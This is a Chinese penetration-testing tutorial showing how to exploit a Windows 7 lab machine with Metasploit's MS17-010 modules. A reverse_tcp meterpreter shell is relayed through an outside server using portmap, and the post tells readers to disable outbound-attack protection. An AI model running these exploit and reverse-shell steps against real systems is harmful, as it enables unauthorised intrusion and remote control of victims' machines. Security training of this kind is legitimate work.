【Metasploit】使用Metasploit的Exploits攻击模块对外网渗透

发布于 2023-04-27  541 次阅读


使用的软件:

使用的操作系统:

  • Kali(攻击机 192.168.97.129)
  • Windows7 x64 7600(靶机 192.168.97.130)
  • Centos7(中继服务器)

前言

很多人喜欢把Metasploit叫做内网渗透工具,在教程中也基本只做Metasploit对内网渗透教程,当然网络上也有很多的Metasploit对外网渗透的教程,但都是大同小异,以一人原创多人转载的形式存在,其实并不具备太多的参考价值,而且几乎只有关于使用Msfvenom生成木马对外网主机进行攻击的教程,并没有直接使用Exploits攻击模块对外渗透的教程。

所以本篇文章借用了内网穿透、端口转发等技术详细说明一下网络上很少有人说的使用Exploits模块直接对外网攻击的操作方法

仅用于演示,请勿用于其他用途


思维导图


1.关闭火绒的“对外攻击拦截”

在渗透的过程中经常会碰到一种报错

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

一般出现这种报错,很大概率是对方开启了类杀毒软件的程序,连接被终止,或者是被攻击机的火绒拦截,为了防止被自己的“内鬼”拦截攻击,如果有火绒需要先关闭火绒的“对外攻击拦截”

2.使用Portmap本地转发端口

如果你没有这个工具,点击这里下载它

下载完后完成之后,根据思维导图,我们需要在防火墙先开放两个端口,一个供靶机连接,另外一个通过portmap转发之后供kali连接我这里将靶机连接端口设置为“8888”,kali连接端口设置为“4444”

防火墙放行端口后使用portmap转发端口

./portmap -m 2 -p1 8888 -p2 4444

3.使用Metasploit的攻击模块攻击靶机

这里我使用MS17-010漏洞来攻击靶机,当然也可以是其他的POC,这里只做演示

search ms17-010
use 0

设置一个反向连接的payload,让靶机去反向连接我们的中继服务器,具体payload根据目标机器选择,这里我选择了一个64位payload

并设置对应的payload属性,lhost(设置为中继服务器的IP)lport(设置为中继服务器的8888端口)

set payload windows/x64/meterpreter/reverse_tcp
set lhost ***.***.***.***
set lport 8888

设置完成之后我们设置目标地址也就是靶机的地址192.168.97.130

因为我们等一下需要另外启动一个模块去专门与中继服务器建立正向连接,所以不需要在攻击的时候建立监听,所以关闭监听

set rhost 192.168.97.130

set disablepayloadhandler true

4.开始攻击并建立与中继服务器端口4444的连接

确保设置完成之后使用“run”开始攻击目标主机

我这里攻击失败了,更换Eternalblue_Doublepulsar模块再尝试一次,对于这个模块我就不赘述了,有兴趣可以自行百度

开始攻击,可以看到这边已经攻击成功了,并且靶机已经建立了与中继服务器的连接

这边已经是公网IP的形式了

回到kali使用multi/handler模块建立与中继服务器的连接

search multi/handler
use 5

设置payload使用正向连接

set payload windows/x64/meterpreter/bind_tcp
set lhost ***.***.***.***(中继服务器ip)
set lport 4444

确保设置的IP和端口是中继服务器的端口,设置完成后直接启动,它会自动去连接中继服务器

成功通过中继服务器的4444端口获取到靶机的shell